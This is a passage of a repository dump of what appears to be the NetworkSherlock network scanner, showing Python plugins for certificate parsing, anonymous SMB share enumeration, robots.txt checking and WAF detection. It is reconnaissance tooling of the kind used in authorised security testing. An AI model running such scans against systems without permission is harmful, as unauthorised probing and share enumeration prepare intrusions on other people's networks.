| 36 | # 'CN' (Common Name) veya alternatif anahtarları kontrol etme 37 | subject_cn = subject.get('commonName', subject.get('organizationName', 'Unknown')) 38 | issuer_cn = issuer.get('commonName', issuer.get('organizationName', 'Unknown')) 39 | 40 | details = { 41 | 'subject': subject_cn, 42 | 'issuer': issuer_cn, 43 | 'valid_from': cert['notBefore'], 44 | 'valid_to': cert['notAfter'], 45 | 'version': cert.get('version'), 46 | 'serial_number': cert.get('serialNumber') 47 | } 48 | return details 49 | -------------------------------------------------------------------------------- /plugins/protocolscan/smbscanner.py: -------------------------------------------------------------------------------- 1 | from smb.SMBConnection import SMBConnection 2 | from colorama import Fore,Style,init 3 | 4 | init(autoreset=True) 5 | 6 | class SMBScanner: 7 | def __init__(self, target, timeout=5): 8 | self.target = target 9 | self.timeout = timeout 10 | self.smb_ports = [139, 445] 11 | 12 | # test aşamasında 13 | 14 | def scan_smb(self): 15 | results = {} 16 | for port in self.smb_ports: 17 | try: 18 | conn = SMBConnection('', '', 'smbclient', self.target, use_ntlm_v2=True) 19 | connected = conn.connect(self.target, port, timeout=self.timeout) 20 | 21 | if connected: 22 | shares = conn.listShares(timeout=self.timeout) 23 | share_info = self.get_shares_info(shares) 24 | results[port] = {"shares": share_info} 25 | else: 26 | results[port] = {"error": "Unable to connect to the SMB service."} 27 | conn.close() 28 | except Exception as e: 29 | results[port] = {"error": str(e)} 30 | return results 31 | 32 | def get_shares_info(self, shares): 33 | share_info = [] 34 | for share in shares: 35 | share_info.append({ 36 | "name": share.name, 37 | "type": share.type, 38 | "comments": share.comments 39 | }) 40 | return share_info 41 | 42 | def format_scan_results(self, results): 43 | formatted_result = "" 44 | for port, data in results.items(): 45 | formatted_result += f"\n{Fore.BLUE}Port {port}:{Style.RESET_ALL}\n" 46 | if isinstance(data, dict) and 'shares' in data: 47 | for share in data['shares']: 48 | share_name = share['name'] 49 | comments = share['comments'] or 'No Comments' 50 | formatted_result += f" {Fore.GREEN}- {share_name}:{Style.RESET_ALL} {comments}\n" 51 | else: 52 | formatted_result += f" {data}\n" 53 | return formatted_result -------------------------------------------------------------------------------- /plugins/webScanner/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/webScanner/__init__.py -------------------------------------------------------------------------------- /plugins/webScanner/robotsscanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | class RobotsScanner: 4 | def __init__(self, base_url): 5 | self.base_url = base_url 6 | 7 | def scan_robots(self): 8 | robots_url = f"{self.base_url}/robots.txt" 9 | try: 10 | response = requests.get(robots_url) 11 | if response.status_code == 200: 12 | return "Found" 13 | else: 14 | pass 15 | except requests.RequestException: 16 | pass 17 | def run_scan(self): 18 | return self.scan_robots() 19 | -------------------------------------------------------------------------------- /plugins/webScanner/wafScanner.py: -------------------------------------------------------------------------------- 1 | from wafw00f import main 2 | 3 | class WAFDetector: 4 | def __init__(self, url): 5 | self.url = url 6 | 7 | def detect_waf(self): 8 | waf_detector = main.WAFW00F(self.url) 9 | waf_info = waf_detector.identwaf() 10 | if not waf_info: 11 | waf_info = waf_detector.genericdetect() 12 | return waf_info 13 | 14 | 15 | """ 16 | # Örnek kullanım 17 | url = "https://google.com" 18 | detector = WAFDetector(url) 19 | detected_waf = detector.detect_waf() 20 | print(detected_waf)""" -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | argparse 2 | socket 3 | sys 4 | threading 5 | time 6 | queue 7 | shodan 8 | --------------------------------------------------------------------------------